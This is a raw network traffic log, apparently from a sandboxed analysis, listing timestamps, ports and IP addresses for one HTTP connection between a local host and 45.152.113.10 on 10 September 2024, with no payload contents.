Sep 10, 2024 19:36:09.067565918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067584038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067604065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067766905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067778111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067787886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067797899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067807913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067810059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067816973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067827940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067837000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067842960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067847967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067857981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067864895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067868948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067878008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067879915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067905903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067919970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067924976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067929983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067939997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067949057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067958117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067958117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067969084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067989111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067994118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068005085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068008900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068015099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068026066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068031073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068037033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068047047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068054914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068056107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068065882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068080902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068094969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068114042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068135977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068145990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068171978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068183899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068296909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068317890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068329096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068340063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068342924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068348885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068360090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068370104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068377972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068381071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068391085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068392038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068403006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068413019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068422079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068433046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068433046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068444014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068449974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068454981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068455935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068465948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068479061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.068492889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068500996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.068527937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152674913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152707100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152719021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152729988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152746916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152756929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152761936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152772903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152777910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152786016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152802944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152813911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152813911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152825117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152832031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152836084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152858973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152864933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152873039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152875900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152883053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152893066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152904987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152931929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152940989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152966022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152976990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152982950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.152987003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.152997971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153009892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153009892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153022051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153031111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153053999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153064013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153207064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153218985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153230906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153253078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153260946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153270960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153274059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153289080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153304100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153315067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153326035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153337002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153337002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153358936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153384924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153445959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153456926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153464079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153469086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153480053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153486967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153495073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153506041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153516054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153532028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153534889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153542042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153553009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153553963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153563023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153587103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153598070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153599024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153614044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153624058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153635025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153662920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153706074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153717995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153727055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153739929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153749943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153750896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153757095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153768063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153781891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153810978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153830051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153845072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153855085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153866053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153872967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153877974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153898001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153908968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153919935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153927088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153939009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153948069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.153949976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153975010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.153989077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154083014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154094934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154109001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154119968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154125929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154131889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154145002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154172897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154197931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154208899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154220104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154241085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154266119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154375076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154387951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154398918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154412031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154474974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154491901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154504061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154515028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154540062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154557943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154572010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154582977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154592991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154603004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154609919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154634953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154649019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154661894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154671907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154681921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154694080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154695034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154722929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154745102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154762983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154774904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154786110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154795885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154807091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154808998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154825926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154848099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154865980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154875994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154886007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154896021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154906034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154908895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154917955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154931068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154956102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.154973984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.154992104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155004025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155015945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155015945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155026913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155038118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155044079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155049086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155060053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155073881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155093908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155101061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155150890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155169010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155179024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155188084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155195951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155200958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155210972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155214071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155221939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155232906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155239105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155256987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155267954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155325890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155337095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155349016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155359983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155369997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155370951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155392885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155399084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155407906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155428886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155457020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155467987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155478001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155488968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155498981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155500889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155510902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.155529022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.155551910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239316940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239341021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239351988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239362001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239372969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239392042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239408016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239418983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239429951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239440918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239454031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239511013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239511013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239511013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239511013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239572048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239583015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239593029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239603996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239609003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239615917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239617109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239656925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239672899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239761114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239773035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239784002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239794016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239804029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239809990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239831924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239840984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.239952087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239963055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239973068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.239983082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240004063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240026951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240106106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240118027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240129948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240148067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240171909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240262032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240277052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240287066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240298033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240307093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240308046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240319014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240329981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240334988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240341902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240350962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240356922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240360975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240370035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240376949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240380049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240384102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240407944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240417004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240418911 CEST	80	49707	45.152.113.10	192.168.2.5
